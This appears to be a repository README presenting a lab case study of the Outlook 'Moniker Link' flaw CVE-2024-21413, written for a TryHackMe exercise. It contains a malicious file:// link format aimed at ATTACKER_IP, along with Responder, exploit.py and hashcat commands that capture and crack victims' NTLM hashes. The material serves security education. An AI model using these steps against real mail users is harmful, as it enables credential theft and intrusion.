
Um estudo de caso do CVE-2024-21413. Usado como parâmetro a sala do TryHackMe Moniker Link (CVE-2024-21413). Feito edições com claude code no exploit.
⚠️ Legal Notice: This repository is exclusively for educational and security research purposes. All demonstrations were carried out in controlled and isolated environments. The use of these techniques against systems without explicit authorization is illegal and unethical.
| Field | Detail |
|---|---|
| CVE | CVE-2024-21413 |
| Disclosure | February 13, 2024 (Patch Tuesday) |
| CVSS Score | 9.8 (Critical) |
| Product | Microsoft Outlook |
| Type | RCE + Credential Leak (NTLM Hash) |
| Vector | Network / Email (no prior authentication) |
| Interaction | Requires user interaction (click on link) |
| Alias | Moniker Link |
CVE-2024-21413 is a critical vulnerability in Microsoft Outlook that allows an attacker to:
The name "Moniker Link" comes from the exploitation of Component Object Model (COM) Monikers — a Windows mechanism to reference objects by string — to bypass Outlook's protections against file:// links.
Normally, Outlook blocks file:// links that point to network resources, displaying a security warning (Protected View). The flaw lies in how Outlook processes URLs that contain the ! character — a Moniker separator.
A malicious link in the format:
file:///\\ATTACKER_IP\share\!something
The ! character causes Outlook's parser to interpret the URL as a reference to a COM Moniker, ignoring the normal security checks. The result:
Attacker sends email → Victim clicks link → Outlook processes URL with "!"
→ Bypasses Protected View → Automatic SMB connection → NTLM hash captured
To safely reproduce this case study:
| Machine | Operating System | Role |
|---|---|---|
| Attacker | Kali Linux | SMB Listener + Exploit |
| Target | Windows 10/11 with vulnerable Outlook | Victim |
Important: Use an isolated network (NAT or Host-Only in VirtualBox/VMware). Never run on real networks.
# Responder — SMB/HTTP listener for hash capture
sudo apt install responder
# Python 3 — to run the exploit
python3 --version
# Check connectivity between machines
ping <TARGET_IP>
ip a | grep inet
# Note the IP of the interface that communicates with the target (e.g., 192.168.56.10)
Responder creates a fake SMB server that captures NTLM authentication hashes.
sudo responder -I eth0 -v
# Replace eth0 with your network interface
Expected output:
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 192.168.56.20
[SMB] NTLMv2-SSP Username : DESKTOP-TARGET\user
[SMB] NTLMv2-SSP Hash : user::DESKTOP-TARGET:...
python3 exploit.py \
--sender [email protected] \
--recipient [email protected] \
--server <EMAIL_SERVER_IP> \
--attacker-ip 192.168.56.10
When the victim opens the email and clicks the link, Responder automatically captures the NTLM hash. This hash can be:
hashcat -m 5600 hash.txt wordlist.txt
See the exploit.py file for the complete commented script.
See the diagrama-ataque.html file for an interactive visualization of the full attack flow.
See the MITIGACAO.md file for the complete mitigation and defense guide.
See the CVE-BREAKDOWN.md file for the detailed technical analysis of the vulnerability.
Case study developed as part of practical training in offensive security via TryHackMe.
This project follows the principles of responsible disclosure and ethical hacking. All content herein is intended for education and improving security posture.